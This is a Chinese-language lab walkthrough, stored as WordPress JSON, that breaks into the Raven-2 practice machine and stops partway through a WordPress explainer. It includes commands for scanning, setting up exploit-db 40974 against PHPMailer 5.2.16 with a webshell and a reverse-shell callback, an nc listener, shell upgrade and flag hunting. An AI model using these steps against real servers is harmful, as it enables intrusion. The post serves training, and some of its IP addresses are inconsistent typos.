{"id":113,"date":"2024-11-20T11:03:11","date_gmt":"2024-11-20T03:03:11","guid":{"rendered":"http:\/\/jieyekang.com\/?p=113"},"modified":"2024-11-20T11:41:08","modified_gmt":"2024-11-20T03:41:08","slug":"%e9%9d%b6%e5%9c%ba%e5%a4%8d%e7%8e%b0%e7%b3%bb%e5%88%97%e3%80%90raven-2%e3%80%91","status":"publish","type":"post","link":"http:\/\/jieyekang.com\/index.php\/2024\/11\/20\/%e9%9d%b6%e5%9c%ba%e5%a4%8d%e7%8e%b0%e7%b3%bb%e5%88%97%e3%80%90raven-2%e3%80%91\/","title":{"rendered":"\u9776\u573a\u590d\u73b0\u7cfb\u5217\u3010Raven-2\u3011"},"content":{"rendered":"\n

Nmap\u626b\u63cf<\/h1>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n

\u53d1\u73b0\u76ee\u6807\u5730\u5740 192.168.11.141 \u5b58\u5728 ssh \u670d\u52a1\u548c http \u670d\u52a1\uff0crpcbind \u670d\u52a1<\/p>\n\n\n\n

\u77e5\u8bc6\u70b9\uff08rpcbind\u670d\u52a1\uff09<\/h2>\n\n\n\n

rpcbind\u662f\u4e00\u4e2a\u7528\u4e8e\u7ba1\u7406RPC\uff08Remote Procedure Call\uff0c\u8fdc\u7a0b\u8fc7\u7a0b\u8c03\u7528\uff09\u670d\u52a1\u7684\u5b88\u62a4\u8fdb\u7a0b\u3002\u5728Linux\u7cfb\u7edf\u4e2d\uff0cRPC\u670d\u52a1\u53ef\u4ee5\u901a\u8fc7rpcbind\u6765\u7ba1\u7406\uff0c\u5b83\u4e3b\u8981\u8d1f\u8d23\u5c06RPC\u7a0b\u5e8f\u7684\u7f51\u7edc\u5730\u5740\u6620\u5c04\u5230\u5bf9\u5e94\u7684\u7aef\u53e3\u53f7\uff0c\u4ece\u800c\u5141\u8bb8\u5ba2\u6237\u7aef\u7a0b\u5e8f\u901a\u8fc7RPC\u6765\u8c03\u7528\u670d\u52a1\u5668\u7a0b\u5e8f\uff0c\u5e76\u81ea\u52a8\u5c06\u8bf7\u6c42\u8def\u7531\u5230\u6b63\u786e\u7684\u670d\u52a1\u5668\u7aef\u53e3\u4e0a\u3002<\/p>\n\n\n\n

\u4ee5\u4e0b\u662frpcbind\u670d\u52a1\u7684\u51e0\u4e2a\u5173\u952e\u7279\u6027\u548c\u4f5c\u7528\uff1a<\/p>\n\n\n\n

    \n
  1. \u7ba1\u7406RPC\u7a0b\u5e8f\u53f7\u548c\u7aef\u53e3\u53f7\u7684\u6620\u5c04\u5173\u7cfb\uff1arpcbind\u4f1a\u4e3a\u6bcf\u4e2a\u6ce8\u518c\u7684RPC\u7a0b\u5e8f\u5206\u914d\u4e00\u4e2a\u552f\u4e00\u7684\u7a0b\u5e8f\u53f7\uff0c\u5e76\u5c06\u8be5\u7a0b\u5e8f\u53f7\u4e0e\u670d\u52a1\u5668\u7aef\u53e3\u53f7\u4e4b\u95f4\u5efa\u7acb\u6620\u5c04\u5173\u7cfb\u3002\u8fd9\u6837\uff0c\u5ba2\u6237\u7aef\u7a0b\u5e8f\u5c31\u53ef\u4ee5\u901a\u8fc7\u7a0b\u5e8f\u53f7\u6765\u8bc6\u522b\u8981\u8c03\u7528\u7684RPC\u7a0b\u5e8f\uff0c\u5e76\u901a\u8fc7rpcbind\u670d\u52a1\u67e5\u8be2\u5230\u5bf9\u5e94\u7684\u7aef\u53e3\u53f7\uff0c\u4ece\u800c\u5b9e\u73b0\u8fdc\u7a0b\u8c03\u7528\u3002<\/li>\n\n\n\n
  2. \u63d0\u4f9b\u7aef\u53e3\u6620\u5c04\u529f\u80fd\uff1arpcbind\u670d\u52a1\u80fd\u591f\u52a8\u6001\u5730\u4e3aRPC\u7a0b\u5e8f\u5206\u914d\u7aef\u53e3\uff0c\u5e76\u5728\u9700\u8981\u65f6\u5c06\u5ba2\u6237\u7aef\u8bf7\u6c42\u91cd\u5b9a\u5411\u5230\u6b63\u786e\u7684\u7aef\u53e3\u3002\u8fd9\u79cd\u52a8\u6001\u7aef\u53e3\u5206\u914d\u548c\u91cd\u5b9a\u5411\u7684\u80fd\u529b\u4f7f\u5f97RPC\u670d\u52a1\u7684\u90e8\u7f72\u548c\u7ba1\u7406\u66f4\u52a0\u7075\u6d3b\u548c\u9ad8\u6548\u3002<\/li>\n\n\n\n
  3. \u652f\u6301RPC\u7a0b\u5e8f\u7684\u52a8\u6001\u6ce8\u518c\u548c\u6ce8\u9500\uff1aRPCbind\u670d\u52a1\u5141\u8bb8RPC\u7a0b\u5e8f\u5728\u8fd0\u884c\u65f6\u52a8\u6001\u5730\u6ce8\u518c\u548c\u6ce8\u9500\u81ea\u5df1\uff0c\u4ece\u800c\u63d0\u4f9b\u7075\u6d3b\u7684\u670d\u52a1\u7ba1\u7406\u529f\u80fd\u3002\u8fd9\u4f7f\u5f97\u7cfb\u7edf\u7ba1\u7406\u5458\u53ef\u4ee5\u6839\u636e\u9700\u8981\u8f7b\u677e\u5730\u6dfb\u52a0\u6216\u5220\u9664RPC\u670d\u52a1\uff0c\u800c\u65e0\u9700\u91cd\u542f\u6574\u4e2a\u7cfb\u7edf\u6216rpcbind\u670d\u52a1\u3002<\/li>\n<\/ol>\n\n\n\n

    \u6b64\u5916\uff0crpcbind\u670d\u52a1\u5728Linux\u7cfb\u7edf\u4e2d\u901a\u5e38\u4e0eNFS\uff08Network File System\uff0c\u7f51\u7edc\u6587\u4ef6\u7cfb\u7edf\uff09\u670d\u52a1\u4e00\u8d77\u4f7f\u7528\uff0c\u4ee5\u4fbf\u8fdc\u7a0b\u4e3b\u673a\u53ef\u4ee5\u8bbf\u95ee\u5171\u4eab\u7684\u6587\u4ef6\u7cfb\u7edf\u3002NFS\u670d\u52a1\u672c\u8d28\u4e0a\u662f\u4e00\u4e2aRPC\u670d\u52a1\uff0c\u56e0\u6b64\u5b83\u5fc5\u987b\u4f9d\u8d56rpcbind\u670d\u52a1\u6765\u201c\u5e7f\u64ad\u201d\u81ea\u5df1\u7684\u8fc7\u7a0b\u8c03\u7528\u53f7\u3001\u7248\u672c\u53f7\u3001\u7aef\u53e3\u53f7\u3001\u534f\u8bae\u7c7b\u578b\u7b49\u4fe1\u606f\u3002<\/p>\n\n\n\n

    \u7efc\u4e0a\u6240\u8ff0\uff0crpcbind\u670d\u52a1\u5728Linux\u7cfb\u7edf\u4e2d\u626e\u6f14\u7740\u81f3\u5173\u91cd\u8981\u7684\u89d2\u8272\uff0c\u5b83\u8d1f\u8d23\u7ba1\u7406RPC\u670d\u52a1\u7684\u6620\u5c04\u5173\u7cfb\u3001\u63d0\u4f9b\u7aef\u53e3\u6620\u5c04\u529f\u80fd\u4ee5\u53ca\u652f\u6301RPC\u7a0b\u5e8f\u7684\u52a8\u6001\u6ce8\u518c\u548c\u6ce8\u9500\u7b49\u5173\u952e\u4efb\u52a1\u3002\u8fd9\u4e9b\u529f\u80fd\u4f7f\u5f97RPC\u670d\u52a1\u80fd\u591f\u9ad8\u6548\u3001\u7075\u6d3b\u5730\u8fd0\u884c\u5728\u5404\u79cd\u5206\u5e03\u5f0f\u5e94\u7528\u73af\u5883\u4e2d\u3002<\/p>\n\n\n\n

    \u67e5\u770b80\u7aef\u53e3<\/h2>\n\n\n\n

    \u53d1\u73b0\u8fd9\u662f\u4e00\u4e2a\u672a\u5b8c\u6210\u7684\u7f51\u9875\uff0c\u5b58\u5728\u7a7a\u94fe\u63a5\uff0c\u6240\u4ee5\u5e94\u8be5\u6ca1\u6709\u4ec0\u4e48\u53ef\u4ee5\u5229\u7528\u7684\u5730\u65b9\u3002<\/p>\n\n\n\n

    \u7206\u7834\u76ee\u5f55<\/h2>\n\n\n\n

    dirb http:\/\/192.168.11.141<\/p>\n\n\n\n

    \"\"\/<\/figure>\n\n\n\n

    \u77e5\u8bc6\u70b9\uff08vendor\uff09<\/h2>\n\n\n\n

    vendor\u76ee\u5f55\u5728\u4e0d\u540c\u7f16\u7a0b\u8bed\u8a00\u548c\u6846\u67b6\u4e2d\u626e\u6f14\u7740\u7c7b\u4f3c\u4f46\u7565\u6709\u5dee\u5f02\u7684\u89d2\u8272\uff0c\u4e3b\u8981\u7528\u4e8e\u7ba1\u7406\u9879\u76ee\u4f9d\u8d56\u9879\u3002\u4ee5\u4e0b\u662f\u5bf9vendor\u76ee\u5f55\u529f\u80fd\u7684\u4e00\u822c\u6982\u8ff0\uff1a<\/p>\n\n\n\n

    1. \u5b58\u50a8\u9879\u76ee\u4f9d\u8d56\u9879<\/h3>\n\n\n\n

    vendor\u76ee\u5f55\u662f\u5b58\u50a8\u9879\u76ee\u6240\u9700\u4f9d\u8d56\u9879\uff08\u5982\u5e93\u3001\u6846\u67b6\u3001\u63d2\u4ef6\u7b49\uff09\u7684\u4f4d\u7f6e\u3002\u8fd9\u4e9b\u4f9d\u8d56\u9879\u662f\u9879\u76ee\u5f00\u53d1\u548c\u8fd0\u884c\u6240\u5fc5\u9700\u7684\u5916\u90e8\u8d44\u6e90\u3002<\/p>\n\n\n\n

    2. \u4f9d\u8d56\u7ba1\u7406<\/h3>\n\n\n\n
      \n
    • \u7248\u672c\u7ba1\u7406<\/strong>\uff1avendor\u76ee\u5f55\u4e2d\u7684\u6bcf\u4e2a\u4f9d\u8d56\u9879\u901a\u5e38\u90fd\u6709\u81ea\u5df1\u7684\u76ee\u5f55\u7ed3\u6784\u548c\u7248\u672c\u53f7\uff0c\u786e\u4fdd\u9879\u76ee\u53ef\u4ee5\u660e\u786e\u6307\u5b9a\u4f9d\u8d56\u9879\u7684\u7248\u672c\uff0c\u907f\u514d\u4e0e\u5176\u4ed6\u9879\u76ee\u7684\u4f9d\u8d56\u9879\u51b2\u7a81\u3002\u540c\u65f6\uff0c\u901a\u8fc7composer.lock<\/code>\uff08\u5728PHP\u7684Composer\u4e2d\uff09\u6216go.mod<\/code>\uff08\u5728Go\u8bed\u8a00\u4e2d\uff09\u7b49\u6587\u4ef6\u8bb0\u5f55\u7684\u786e\u5207\u7248\u672c\u53f7\uff0c\u53ef\u4ee5\u786e\u4fdd\u6bcf\u6b21\u5b89\u88c5\u65f6\u4f7f\u7528\u76f8\u540c\u7684\u4f9d\u8d56\u9879\u7248\u672c\uff0c\u4ece\u800c\u4fdd\u6301\u9879\u76ee\u7684\u4e00\u81f4\u6027\u3002<\/li>\n\n\n\n
    • \u4f9d\u8d56\u9694\u79bb<\/strong>\uff1avendor\u76ee\u5f55\u5141\u8bb8\u9879\u76ee\u9501\u5b9a\u4f9d\u8d56\u7684\u5177\u4f53\u7248\u672c\uff0c\u8fd9\u6837\u5373\u4f7f\u5168\u5c40\u7684\u4f9d\u8d56\u5e93\u66f4\u65b0\uff0c\u9879\u76ee\u4f9d\u7136\u53ef\u4ee5\u4f7f\u7528\u65e7\u7248\u672c\u7684\u4f9d\u8d56\uff0c\u786e\u4fdd\u9879\u76ee\u7684\u7a33\u5b9a\u6027\u3002<\/li>\n<\/ul>\n\n\n\n

      3. \u63d0\u9ad8\u6784\u5efa\u6548\u7387<\/h3>\n\n\n\n

      \u901a\u8fc7\u5728\u9879\u76ee\u5185\u90e8\u4fdd\u5b58\u4f9d\u8d56\uff0c\u53ef\u4ee5\u907f\u514d\u6bcf\u6b21\u6784\u5efa\u6216\u62c9\u53d6\u9879\u76ee\u65f6\u90fd\u53bb\u4e0b\u8f7d\u4f9d\u8d56\uff0c\u4ece\u800c\u52a0\u901f\u6784\u5efa\u8fc7\u7a0b\u3002\u7279\u522b\u662f\u5728\u5927\u578b\u9879\u76ee\u4e2d\uff0c\u4f9d\u8d56\u9879\u53ef\u80fd\u975e\u5e38\u591a\uff0c\u4f7f\u7528vendor\u76ee\u5f55\u53ef\u4ee5\u663e\u8457\u51cf\u5c11\u6784\u5efa\u65f6\u95f4\u3002<\/p>\n\n\n\n

      4. \u89e3\u51b3\u4f9d\u8d56\u51b2\u7a81<\/h3>\n\n\n\n

      \u5728\u591a\u4e2a\u9879\u76ee\u4e2d\uff0c\u53ef\u80fd\u4f1a\u9047\u5230\u4e0d\u540c\u9879\u76ee\u4f9d\u8d56\u76f8\u540c\u5e93\u7684\u4e0d\u540c\u7248\u672c\u7684\u60c5\u51b5\u3002\u4f7f\u7528vendor\u76ee\u5f55\u53ef\u4ee5\u4e3a\u6bcf\u4e2a\u9879\u76ee\u5355\u72ec\u7ba1\u7406\u5176\u4f9d\u8d56\uff0c\u89e3\u51b3\u7248\u672c\u51b2\u7a81\u95ee\u9898\u3002<\/p>\n\n\n\n

      5. \u81ea\u52a8\u52a0\u8f7d<\/h3>\n\n\n\n

      \u5728PHP\u7b49\u8bed\u8a00\u4e2d\uff0cComposer\u7b49\u4f9d\u8d56\u7ba1\u7406\u5de5\u5177\u4f1a\u751f\u6210\u81ea\u52a8\u52a0\u8f7d\u5668\uff0c\u8be5\u81ea\u52a8\u52a0\u8f7d\u5668\u4f1a\u626b\u63cfvendor\u76ee\u5f55\u4e2d\u7684\u7c7b\u6587\u4ef6\uff0c\u5e76\u6839\u636e\u547d\u540d\u7a7a\u95f4\u548c\u7c7b\u540d\u4e4b\u95f4\u7684\u6620\u5c04\u5173\u7cfb\u6765\u81ea\u52a8\u52a0\u8f7d\u6240\u9700\u7684\u7c7b\u6587\u4ef6\u3002\u8fd9\u6837\uff0c\u5728\u9700\u8981\u4f7f\u7528\u7279\u5b9a\u4f9d\u8d56\u9879\u7684\u7c7b\u6216\u51fd\u6570\u65f6\uff0c\u65e0\u9700\u624b\u52a8\u5f15\u5165\u8fd9\u4e9b\u7c7b\u6587\u4ef6\u3002<\/p>\n\n\n\n

      6. \u542f\u7528\u4f9d\u8d56\u7ba1\u7406\u673a\u5236<\/h3>\n\n\n\n
        \n
      • \u5728Go\u8bed\u8a00\u4e2d\uff0c\u4eceGo 1.11\u7248\u672c\u5f00\u59cb\u5f15\u5165\u4e86Modules\u673a\u5236\uff0c\u6210\u4e3a\u5b98\u65b9\u63a8\u8350\u7684\u4f9d\u8d56\u7ba1\u7406\u5de5\u5177\u3002\u901a\u8fc7go mod vendor<\/code>\u547d\u4ee4\uff0c\u53ef\u4ee5\u5c06\u4f9d\u8d56\u590d\u5236\u5230\u9879\u76ee\u7684vendor\u76ee\u5f55\u4e0b\uff0c\u4ee5\u4fbf\u5728\u6ca1\u6709\u7f51\u7edc\u8fde\u63a5\u6216\u9700\u8981\u786e\u4fdd\u4f9d\u8d56\u4e00\u81f4\u6027\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c\u5f00\u53d1\u548c\u6784\u5efa\u3002<\/li>\n\n\n\n
      • \u5728PHP\u4e2d\uff0cComposer\u662f\u5e7f\u6cdb\u4f7f\u7528\u7684\u4f9d\u8d56\u7ba1\u7406\u5de5\u5177\u3002\u901a\u8fc7\u6267\u884ccomposer install<\/code>\u547d\u4ee4\uff0cComposer\u4f1a\u5c06\u4e0b\u8f7d\u7684\u4f9d\u8d56\u9879\u5305\u5b89\u88c5\u5230vendor\u76ee\u5f55\u4e2d\uff0c\u5e76\u751f\u6210\u81ea\u52a8\u52a0\u8f7d\u5668\u4ee3\u7801\u3002<\/li>\n<\/ul>\n\n\n\n

        \u7ed3\u8bba<\/h3>\n\n\n\n

        vendor\u76ee\u5f55\u662f\u9879\u76ee\u7ba1\u7406\u4f9d\u8d56\u9879\u7684\u91cd\u8981\u673a\u5236\uff0c\u5b83\u901a\u8fc7\u5b58\u50a8\u3001\u7ba1\u7406\u3001\u52a0\u8f7d\u548c\u9694\u79bb\u4f9d\u8d56\u9879\uff0c\u63d0\u9ad8\u4e86\u9879\u76ee\u7684\u5f00\u53d1\u6548\u7387\u3001\u7a33\u5b9a\u6027\u548c\u53ef\u7ef4\u62a4\u6027\u3002\u4e0d\u540c\u7f16\u7a0b\u8bed\u8a00\u548c\u6846\u67b6\u4e2d\u7684vendor\u76ee\u5f55\u53ef\u80fd\u5177\u6709\u4e0d\u540c\u7684\u7279\u6027\u548c\u5b9e\u73b0\u65b9\u5f0f\uff0c\u4f46\u57fa\u672c\u529f\u80fd\u548c\u76ee\u7684\u662f\u76f8\u4f3c\u7684\u3002<\/p>\n\n\n\n

        \u67e5\u770b\u76ee\u5f55<\/h2>\n\n\n\n

        \u53d1\u73b0PATH\u6587\u4ef6\u5b58\u5728flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}<\/p>\n\n\n\n

        \"\"\/<\/figure>\n\n\n\n

        \u67e5\u770bREADME\u6587\u4ef6\uff0c\u7136\u540e\u53c8\u53d1\u73b0PHPMailer\uff0c\u67e5\u770bVERSION\uff0c\u53d1\u73b0\u7248\u672c\u53f7\u4e3a5.2.16<\/p>\n\n\n\n

        \"\"\/<\/figure>\n\n\n\n
        \"\"\/<\/figure>\n\n\n\n

        \u67e5\u627eexp<\/h1>\n\n\n\n

        \u8c37\u6b4c\uff1aPHPMailer 5.2.16 exp<\/p>\n\n\n\n

        \"\"\/<\/figure>\n\n\n\n

        \u9605\u8bfb\u4f7f\u7528\u8bf4\u660e\uff1a<\/p>\n\n\n\n

        1 - \u4e0b\u8f7d docker \u6f0f\u6d1e\u73af\u5883\uff1ahttps:\/\/github.com\/opsxcq\/exploit-CVE-2016-10033<\/p>\n\n\n\n

        2 - \u5728 payload \u53d8\u91cf\u4e0a\u914d\u7f6e\u4f60\u7684 IP \u4ee5\u8fdb\u884c\u53cd\u5411 shell<\/p>\n\n\n\n

        4 - \u5728\u4e00\u4e2a\u7ec8\u7aef\u4e2d\u6253\u5f00 nc \u76d1\u542c\u5668\uff1a$ nc -lnvp <your ip><\/p>\n\n\n\n

        3 - \u6253\u5f00\u53e6\u4e00\u4e2a\u7ec8\u7aef\u5e76\u8fd0\u884c\u6f0f\u6d1e\u5229\u7528\u7a0b\u5e8f\uff1apython3 anarcoder.py<\/p>\n\n\n\n

        \u5229\u7528exp<\/h1>\n\n\n\n
        searchsploit 40974\ncp \/usr\/share\/exploitdb\/exploits\/php\/webapps\/40974.py \/root\/Desktop<\/code><\/pre>\n\n\n\n
        \u5c06exp\u8003\u51fa\uff0c\u9700\u8981\u9488\u5bf9PHPMailer\u4fee\u6539\u53c2\u6570:<\/p>\n\n\n\n
        41\u884c\uff1a\u6539\u4e0b\u5730\u5740\uff1ahttp:\/\/191.168.11.141\/contact.php<\/p>\n\n\n\n
        42\u884c\uff1a\u540e\u95e8\u540d\u79f0\uff1a\/kang.php\uff08\u53ef\u6539\u53ef\u4e0d\u6539\uff0c\u5982\u679c\u6539\u4e86\uff0c\u521947\u884c\u7684\u540d\u79f0\u8bb0\u4f4f\u4fee\u6539\uff09<\/p>\n\n\n\n
        44\u884c\uff1a\u6539\u4e0b\u56de\u5f39\u7684IP\u548c\u7aef\u53e3 191.168.11.138 6666\uff08\u56e0\u4e3a\u662f\u672c\u5730\u76d1\u542c\u7aef\u53e3\uff0c\u6240\u4ee5\u56de\u5f39\u80af\u5b9a\u662f\u672c\u5730\u56de\u5f39\uff09<\/p>\n\n\n\n
        47\u884c\uff1a\u6539\u4e0b\u5199\u5165shell\u7684\u76ee\u5f55\uff1a\/var\/www\/html\/kang.php\uff08\u524d\u9762\u4fee\u6539\u4e86\uff0c\u8bb0\u5f97\u540e\u9762\u7684\u540d\u79f0\u4e5f\u8981\u4fee\u6539\uff09<\/p>\n\n\n\n
        \u4fee\u6539\u8bb0\u4f4f\u4f7f\u7528vim\u4fee\u6539<\/p>\n\n\n\n
        \u4fee\u6539\u6559\u7a0b<\/h2>\n\n\n\n
        vim \/root\/Desktop\/40974.py<\/code><\/pre>\n\n\n\n
        \u8fdb\u5165\u540e\u5148\u6309insert\u952e\uff0c\u7136\u540e\u518d\u53ef\u4ee5\u4fee\u6539<\/p>\n\n\n\n
        \"\"\/<\/figure>\n\n\n\n
        \u9000\u51fa\u5148\u6309esc\u952e\uff0c\u7136\u540e:wq!\u540e\u56de\u8f66<\/p>\n\n\n\n
        \u6253\u5f00\u4e00\u4e2a\u65b0\u7684\u7ec8\u7aef\uff0c\u8fd0\u884c python3 root\/Desktop\/40974.py<\/p>\n\n\n\n
        \u5982\u679c\u73af\u5883\u62a5\u9519\u6309\u7167\u73af\u5883\u5b89\u88c5\uff1a<\/p>\n\n\n\n
        \u9700\u8981\u5b89\u88c5requests_toolbelt\u6a21\u5757\uff0c\u4f7f\u7528\u547d\u4ee4\uff1apip install requests-toolbelt\u5b89\u88c5\u5373\u53ef\uff0c\u5982\u679c\u6ca1\u7528pip\uff0c\u9700\u8981sudo apt-get install python-pip\u5b89\u88c5\u5373\u53ef\u3002<\/p>\n\n\n\n
        \"\"\/<\/figure>\n\n\n\n
        \u8bbf\u95eehttp:\/\/191.168.11.141\/contact.php\uff0c\u6b64\u65f6\u5c31\u4f1a\u751f\u6210\u540e\u95e8\u6587\u4ef6kang.php<\/p>\n\n\n\n
        \u672c\u5730\u5f00\u542f\u76d1\u542c\uff1anc -vlp 6666<\/p>\n\n\n\n
        \u8bbf\u95ee\uff1ahttp:\/\/191.168.11.141\/kang.php<\/p>\n\n\n\n
        \"\"\/<\/figure>\n\n\n\n
        \u83b7\u53d6shell\uff0c\u63a5\u4e0b\u6765\u53cd\u5f39shell<\/p>\n\n\n\n
        python -c 'import pty;pty.spawn(\"\/bin\/bash\")'<\/p>\n\n\n\n
        \u670d\u52a1\u5668\u4fe1\u606f\u641c\u96c6<\/h1>\n\n\n\n
        \u5f53\u6211\u4eec\u53d1\u73b0\u5728\u6839\u76ee\u5f55\u4e0b\u5f88\u96be\u627e\u5230flag\u6587\u4ef6\u65f6\uff0c\u6211\u4eec\u4f7f\u7528\u67e5\u627e\u547d\u4ee4find<\/p>\n\n\n\n
        \u77e5\u8bc6\u70b9\uff08find\u547d\u4ee4\uff09<\/h2>\n\n\n\n
        \u6700\u597d\u81ea\u5df1\u53bb\u67e5\uff0c\u5b66\u4e00\u4e0b\uff0c\u8fd9\u91cc\u53ea\u8bb2\u6700\u7b80\u5355\u7684\u6309\u6587\u4ef6\u540d\u67e5\u627e<\/p>\n\n\n\n
        [root@localhost ~ ] # find \u641c\u7d22\u8def\u5f84 [\u9009\u9879] \u641c\u7d22\u5185\u5bb9\n\u9009\u9879\uff1a\n-name\uff1a\u6309\u7167\u6587\u4ef6\u540d\u641c\u7d22\n-iname\uff1a\u6309\u7167\u6587\u4ef6\u540d\u641c\u7d22\uff0c\u4e0d\u533a\u5206\u6587\u4ef6\u540d\u5927\u5c0f\u5199\n-inum\uff1a\u6309\u7167inode\u53f7\u641c\u7d22\n\n#1.find\u547d\u4ee4\u57fa\u672c\u4f7f\u7528\n[root@192 ~]# find . -name abcde\n.\/abcde\n\n\u63d0\u793a\uff1a\u641c\u7d22\u4f4d\u7f6e\u8d8a\u5927\uff0c\u6d88\u8017\u7cfb\u7edf\u8d44\u6e90\u8d8a\u591a\u3002\n\u5728\u751f\u4ea7\u670d\u52a1\u5668\u4e0a\u641c\u7d22\u7684\u65f6\u5019\uff0c\u5c3d\u91cf\u4e0d\u5728\u6839\u76ee\u5f55\u4e0b\u641c\u7d22\uff0c\u628a\u641c\u7d22\u7684\u8303\u56f4\u5c3d\u91cf\u63a7\u5236\u5728\u6700\u5c0f\u3002\n\n#2.-iname\n[root@192 ~]# find . -iname abcde\n.\/ABCDE\n.\/abcde\n\n\u63d0\u793a\uff1ai\u8868\u793a\u5ffd\u7565\u7684\u610f\u601d\uff0c\u5c31\u662f\u5ffd\u7565\u5927\u5c0f\u5199\u3002\n\n#3.-inum\n\n\u4e4b\u524d\u6211\u4eec\u901a\u8fc7\u6587\u4ef6\u540d\u53ef\u4ee5\u67e5\u770b\u5230\u6587\u4ef6\u7684i\u8282\u70b9\u53f7\n[root@192 ~]# ls -i abcde \n1043285 abcde\n\n\u8fd9\u91cc\u901a\u8fc7find\u547d\u4ee4\u7684-inum\u9009\u9879\u53ef\u4ee5\u5b9e\u73b0\uff0c\u901a\u8fc7i\u8282\u70b9\u53f7\u67e5\u770b\u6587\u4ef6\u7684\u540d\u5b57\u3002\n[root@192 ~]# find . -inum 1043285\n.\/abcde\n\n\u8fd9\u4e24\u4e2a\u662f\u4e00\u5bf9\u547d\u4ee4\uff0c\u8bb0\u5fc6\u6bd4\u8f83\u65b9\u4fbf\u3002<\/code><\/pre>\n\n\n\n
        \"\"\/<\/figure>\n\n\n\n
        \u6211\u4eec\u53d1\u73b0\u4e86\u4e09\u4e2aflag\u6587\u4ef6\uff0c\u6211\u4eec\u9010\u4e00\u8bbf\u95ee<\/p>\n\n\n\n
        \u56e0\u4e3aflag2\u6587\u4ef6\u4e0d\u5728\/var\/www\/html\/\u7684\u6839\u76ee\u5f55\u4e0b\uff0c\u6240\u4ee5\u4e0d\u80fd\u5728\u7f51\u9875\u7aef\u8bbf\u95ee\u3002<\/p>\n\n\n\n
        cat \/var\/www\/flag2.txt<\/code><\/pre>\n\n\n\n
        \"\"\/<\/figure>\n\n\n\n
        \u540c\u7406\uff0cflag3\u662fpng\u7684\u56fe\u7247\uff0c\u4e0d\u80fd\u5728shell\u91cc\u9762\u67e5\u770b\u56fe\u7247\u5185\u5bb9\uff0c\u6b63\u597d\u662f\u5728\/var\/www\/html\/\u76ee\u5f55\u4e0b\uff0c\u6240\u4ee5\u5728\u7f51\u9875\u8bbf\u95ee<\/p>\n\n\n\n
        \"\"\/<\/figure>\n\n\n\n
        \u7531\u4e8eflag4\u662froot\u6587\u4ef6\u4e0b\uff0c\u6240\u4ee5\u5fc5\u987b\u5f97root\u6743\u9650\u624d\u80fd\u8bbf\u95ee\u8be5\u76ee\u5f55\u3002<\/p>\n\n\n\n
        WordPress\u76ee\u5f55\u679a\u4e3e<\/h1>\n\n\n\n
        \u5728flag3\u7684\u8def\u5f84\u4e0b\uff0c\u53d1\u73b0\u4e86wordpress\u76ee\u5f55<\/p>\n\n\n\n
        \u77e5\u8bc6\u70b9\uff08wordpress\uff09<\/h2>\n\n\n\n
        WordPress\u662f\u4e00\u6b3e\u4f7f\u7528PHP\u8bed\u8a00\u5f00\u53d1\u7684\u5f00\u6e90\u535a\u5ba2\u5de5\u5177\u548cCMS\uff08\u5185\u5bb9\u7ba1\u7406\u7cfb\u7edf\uff09\u53d1\u5e03\u5e73\u53f0\u3002\u5b83\u5141\u8bb8\u7528\u6237\u5728\u652f\u6301PHP\u548cMySQL\u6570\u636e\u5e93\u7684\u670d\u52a1\u5668\u4e0a\u67b6\u8bbe\u5c5e\u4e8e\u81ea\u5df1\u7684\u535a\u5ba2\u3001\u7f51\u7ad9\uff0c\u5e76\u53ef\u4ee5\u5c06\u5176\u4f5c\u4e3a\u4e00\u4e2a\u5185\u5bb9\u7ba1\u7406\u7cfb\u7edf\u6765\u4f7f\u7528\u3002\u4ee5\u4e0b\u662f\u5173\u4e8eWordPress\u7684\u8be6\u7ec6\u4ecb\u7ecd\uff1a<\/p>\n\n\n\n
        \u4e00\u3001WordPress\u7684\u57fa\u672c\u7279\u6027<\/h3>\n\n\n\n
          \n
        1. \u5f00\u6e90\u4e0e\u514d\u8d39<\/strong>\uff1aWordPress\u662f\u4e00\u4e2a\u514d\u8d39\u7684\u5f00\u6e90\u9879\u76ee\uff0c\u5728GNU\u901a\u7528\u516c\u5171\u8bb8\u53ef\u8bc1\u4e0b\u6388\u6743\u53d1\u5e03\u3002\u8fd9\u610f\u5473\u7740\u7528\u6237\u53ef\u4ee5\u81ea\u7531\u5730\u4f7f\u7528\u3001\u4fee\u6539\u548c\u5206\u53d1\u5b83\u3002<\/li>\n\n\n\n
        2. \u7075\u6d3b\u6027\u4e0e\u53ef\u6269\u5c55\u6027<\/strong>\uff1aWordPress\u63d0\u4f9b\u4e86\u6210\u5343\u4e0a\u4e07\u4e2a\u5404\u5f0f\u63d2\u4ef6\u548c\u4e0d\u8ba1\u5176\u6570\u7684\u4e3b\u9898\u6a21\u677f\u6837\u5f0f\uff0c\u7528\u6237\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u7684\u9700\u6c42\u8fdb\u884c\u9009\u62e9\u548c\u5b9a\u5236\u3002\u6b64\u5916\uff0c\u7528\u6237\u8fd8\u53ef\u4ee5\u5f00\u53d1\u81ea\u5df1\u7684\u63d2\u4ef6\u548c\u4e3b\u9898\uff0c\u4ee5\u6ee1\u8db3\u7279\u5b9a\u7684\u529f\u80fd\u9700\u6c42\u6216\u8bbe\u8ba1\u98ce\u683c\u3002<\/li>\n\n\n\n
        3. \u6613\u7528\u6027<\/strong>\uff1aWordPress\u7684\u5b89\u88c5\u548c\u4f7f\u7528\u90fd\u975e\u5e38\u65b9\u4fbf\uff0c\u7528\u6237\u65e0\u9700\u5177\u5907\u4e13\u4e1a\u7684\u7f16\u7a0b\u6280\u80fd\u5373\u53ef\u5feb\u901f\u4e0a\u624b\u3002\u5b83\u63d0\u4f9b\u4e86\u4e00\u4e2a\u76f4\u89c2\u548c\u7528\u6237\u53cb\u597d\u7684\u540e\u53f0\u754c\u9762\uff0c\u4f7f\u7528\u6237\u53ef\u4ee5\u8f7b\u677e\u5730\u521b\u5efa\u3001\u7f16\u8f91\u548c\u7ba1\u7406\u7f51\u7ad9\u5185\u5bb9\u3002<\/li>\n<\/ol>\n\n\n\n
          \u4e8c\u3001WordPress\u7684\u4e3b\u8981\u529f\u80fd<\/h3>\n\n\n\n
            \n
